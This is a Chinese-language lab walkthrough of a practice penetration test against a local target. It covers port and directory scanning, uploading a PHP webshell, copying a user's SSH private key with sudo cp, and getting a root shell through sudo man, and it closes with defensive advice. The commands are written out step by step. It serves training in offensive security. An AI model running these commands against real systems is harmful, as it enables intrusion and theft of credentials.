红队专项·Five
字数 1393 2025-08-10 20:35:54
红队专项练习:从信息收集到权限提升的完整渗透测试教学
1. 信息收集阶段
1.1 网络扫描
使用nmap进行初始扫描:
nmap -sT --min-rate 10000 -p- 192.168.56.0/24
-sT: TCP连接扫描--min-rate 10000: 设置最小发包速率为10000包/秒-p-: 扫描所有65535个端口
扫描结果发现目标主机192.168.56.101开放了80端口(HTTP服务)。
1.2 详细服务扫描
对开放端口进行更详细的扫描:
nmap -sT -sC -sV -A -p80 192.168.56.101
-sC: 使用默认脚本扫描-sV: 探测服务版本-A: 启用操作系统检测和版本检测
扫描结果:
- 服务: nginx 1.14.2
- HTTP标题: 403 Forbidden
- robots.txt发现敏感目录: /admin
2. Web应用渗透
2.1 目录爆破
使用dirsearch工具进行目录爆破:
dirsearch -u http://192.168.56.101/
发现以下关键路径:
- /admin/ (登录页面)
- /robots.txt (确认/admin路径)
- /upload.html (文件上传功能)
- /upload.php
- /uploads/ (上传文件存放目录,403禁止访问)
2.2 Web应用指纹识别
使用whatweb识别Web应用信息:
whatweb http://192.168.56.101
确认服务器为nginx 1.14.2,返回403 Forbidden。
3. 文件上传漏洞利用
3.1 上传PHP Webshell
- 通过/upload.html上传PHP webshell
- 上传后发现文件存储在/uploads/目录但无法执行
- 尝试修改上传目录,成功执行命令
3.2 使用蚁剑连接
- 使用中国蚁剑(AntSword)连接上传的webshell
- 获得www-data权限的伪终端
4. 权限提升
4.1 发现用户melisa
在/home目录下发现用户melisa,其目录下有user.txt文件。
4.2 发现sudo权限
发现melisa用户可以无密码使用sudo执行以下命令:
/bin/cp
4.3 利用sudo cp获取SSH私钥
- 在/tmp目录创建空文件:
cd /tmp
touch id_rsa
- 复制melisa的SSH私钥:
sudo -u melisa cp /home/melisa/.ssh/id_rsa /tmp/id_rsa
- 设置私钥权限:
chmod 600 id_rsa
- 从私钥生成公钥:
ssh-keygen -y -f id_rsa > authorized_keys
- 将公钥复制到melisa的授权密钥文件:
sudo -u melisa cp /tmp/authorized_keys /home/melisa/.ssh/authorized_keys
- 通过SSH连接内网4444端口:
ssh -i id_rsa melisa@localhost -p 4444
- 成功获取user.txt
4.4 提升至root权限
- 检查melisa的sudo权限:
sudo -l
结果显示可以无密码执行以下命令:
/bin/pwd, /bin/arch, /bin/man, /bin/id, /bin/rm, /bin/clear
- 利用man命令提权(参考GTFOBins):
sudo /bin/man -P less id!/bin/bash
-P less: 设置分页器为lessid!/bin/bash: 在man页面中执行/bin/bash
- 成功获取root权限,可读取/root下的flag
5. 关键工具与技术总结
- nmap:网络扫描和指纹识别
- dirsearch:Web目录爆破
- whatweb:Web应用指纹识别
- 文件上传漏洞:通过上传PHP webshell获取初始访问
- 蚁剑:Webshell管理工具
- sudo权限滥用:利用有限的sudo权限进行权限提升
- GTFOBins技术:利用系统二进制文件进行权限提升
6. 防御建议
- 限制nginx的目录访问权限
- 禁用不必要的sudo权限
- 对文件上传功能进行严格过滤
- 定期更新服务器软件
- 限制SSH服务的监听地址和端口
- 监控系统日志中的异常行为
通过这个案例,我们学习了从信息收集到权限提升的完整渗透测试流程,特别是如何利用有限的初始访问权限逐步提升至root权限。